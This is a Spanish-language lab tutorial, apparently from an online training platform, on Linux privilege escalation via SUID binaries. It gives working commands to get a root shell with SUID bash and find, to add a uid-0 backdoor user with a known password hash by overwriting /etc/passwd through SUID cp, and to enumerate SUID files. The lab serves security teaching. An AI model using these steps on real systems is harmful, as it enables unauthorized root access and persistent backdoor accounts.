Introducción
En este laboratorio, aprenderás sobre el permiso SUID (Set user ID upon execution, establecer el ID de usuario al ejecutar) y cómo aprovecharlo para la escalada de privilegios en sistemas Linux. El objetivo es obtener acceso como root explotando binarios SUID con diversas técnicas, incluyendo el uso de los comandos bash, find, cp y mv.
Comprendiendo SUID
En este paso, comprenderás el concepto del permiso SUID y sus implicaciones.
Por lo general, cuando se ejecuta un programa en Linux, se ejecuta con los permisos del usuario actual. Sin embargo, algunos programas, como cp, requieren privilegios elevados para realizar ciertas operaciones, como copiar archivos a directorios restringidos. Para permitir que los usuarios normales ejecuten tales programas con privilegios elevados, se puede establecer el permiso SUID en el archivo ejecutable.
SUID significa "Set user ID upon execution" (Establecer el ID de usuario al ejecutar). Cuando un archivo tiene el permiso SUID establecido, se ejecuta con los permisos de su propietario, independientemente del usuario que lo ejecute. Por ejemplo, el comando cp es propiedad del usuario root y tiene el bit SUID establecido, lo que permite que cualquier usuario lo ejecute con privilegios de root.
Para verificar el permiso SUID en el comando cp y guardar la salida en un archivo, ejecuta el siguiente comando:
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
Visualiza el contenido del archivo suid_cp.txt utilizando el siguiente comando:
cat /home/labex/project/suid_cp.txt
Salida esperada:
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
Deberías ver una s en los bits de permiso, lo que indica el permiso SUID.
Si bien el SUID puede ser útil para permitir que los usuarios normales ejecuten comandos privilegiados específicos, también puede ser explotado si el binario SUID proporciona funcionalidad para ejecutar comandos del sistema o modificar archivos.
Explotando SUID con bash
En este paso, aprenderás cómo explotar el comando bash con permiso SUID para la escalada de privilegios.
Primero, abre una terminal y navega al directorio
/home/labex/project.cd /home/labex/projectVerifica los permisos del comando
bash.ls -l /bin/bashSalida esperada:
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bashSi el comando
bashtiene el bit SUID establecido, puedes aprovecharlo para ejecutar comandos del sistema con privilegios de root utilizando el siguiente comando:bash -pUtilizando
whoami, puedes verificar que tienes una shell de root.whoamiSalida esperada:
rootAhora, puedes crear un archivo llamado
root.txten el directorio/rooty verificar el contenido del archivo.touch /root/root.txtDeberías ver el archivo
root.txten el directorio/root.
Explotando SUID con find
En este paso, aprenderás cómo explotar el comando find con permiso SUID para la escalada de privilegios.
Después del último paso, deberías tener una shell de root. Para este paso, necesitas cerrar la sesión de la shell de root y volver a iniciar sesión como el usuario labex mediante el comando exit o abriendo una nueva terminal.
Primero, navega al directorio
/home/labex/project:cd /home/labex/projectVerifica los permisos del comando
find:ls -l /usr/bin/findSi el comando
findtiene el bit SUID establecido, puedes aprovecharlo para ejecutar comandos del sistema con privilegios de root.La sintaxis para ejecutar un comando con
findes:find < file > -exec < command > \;Aquí,
<file>puede ser cualquier archivo. Creemos un archivo llamadotest:touch testAhora, puedes ejecutar comandos utilizando
find:find test -exec whoami \;Esto ejecutará el comando
whoamicon privilegios de root. Sin embargo, este método no es conveniente para comandos interactivos comosshosu.Para obtener una shell de root más conveniente, puedes ejecutar el comando
/bin/bash:find test -exec /bin/bash -p \;Nota: La bandera
-pes necesaria para preservar el ID de usuario efectivo (EUID, por sus siglas en inglés) y evitar que se restablezca al ID de usuario real (RUID, por sus siglas en inglés).Ahora deberías tener una shell de root. Crea un archivo llamado
root.txten el directorio/rooty verifica el contenido del archivo:touch /root/root.txtDeberías ver el archivo
root.txten el directorio/root.
Explotando SUID con cp y mv
En este paso, aprenderás cómo explotar los comandos cp y mv con permiso SUID para la escalada de privilegios modificando el archivo /etc/passwd o /etc/shadow.
Después del último paso, deberías tener una shell de root. Para este paso, necesitas cerrar la sesión de la shell de root y volver a iniciar sesión como el usuario labex mediante el comando exit o abriendo una nueva terminal.
Primero, navega al directorio
/home/labex/project:cd /home/labex/projectVerifica los permisos del comando
cp:ls -l /bin/cpSi el comando
cptiene el bit SUID establecido, puedes continuar con la explotación.Copia el contenido de
/etc/passwda un archivo en tu directorio personal:cat /etc/passwd > /home/labex/project/passwdCrea una nueva entrada de usuario con los siguientes detalles:
Nombre de usuario: hacked
Contraseña: pass123
Inserta la siguiente línea al final del archivo
/home/labex/project/passwd:echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
Ahora, utiliza el comando
cpcon permiso SUID para sobrescribir el archivo/etc/passwd:cp /home/labex/project/passwd /etc/passwdDespués de sobrescribir el archivo, puedes cambiar al usuario
hackedcon la contraseñapass123utilizando el comandosu:su hacked
Dado que el usuario hacked tiene un ID de usuario (uid) de 0, tendrás privilegios de root.
El método de explotación para el comando mv es similar al de cp. Puedes probarlo tú mismo.
Buscando binarios SUID
En este paso, aprenderás cómo encontrar binarios SUID en un sistema que potencialmente pueden ser explotados para la escalada de privilegios.
Puedes utilizar los siguientes comandos para listar todos los archivos ejecutables con el bit SUID establecido:
find / -user root -perm -4000 -print 2> /dev/null find / -perm -u=s -type f 2> /dev/null find / -user root -perm -4000 -exec ls -ldb {} \;Navega al directorio
/home/labex/projectpara realizar los siguientes pasos.cd /home/labex/projectElige cualquiera de los comandos para listar los binarios SUID en el sistema y analiza la salida.
find / -user root -perm -4000 -print 2> /dev/null > check_results.txtVerifica el contenido del archivo
check_results.txtpara ver la lista de binarios SUID en el sistema.cat check_results.txtSin embargo, la salida puede contener muchos archivos que no se pueden explotar para la escalada de privilegios, lo que requiere un análisis manual.
Resumen
En este laboratorio, aprendiste sobre el permiso SUID y cómo aprovechar varios binarios SUID, como bash, find, cp y mv, para la escalada de privilegios en sistemas Linux. Adquiriste experiencia práctica en la explotación de estos binarios para obtener acceso de root, que es una habilidad crucial en el campo de la ciberseguridad. El laboratorio proporcionó un escenario práctico y te guió a través de los pasos para comprender y aplicar las técnicas de manera efectiva.



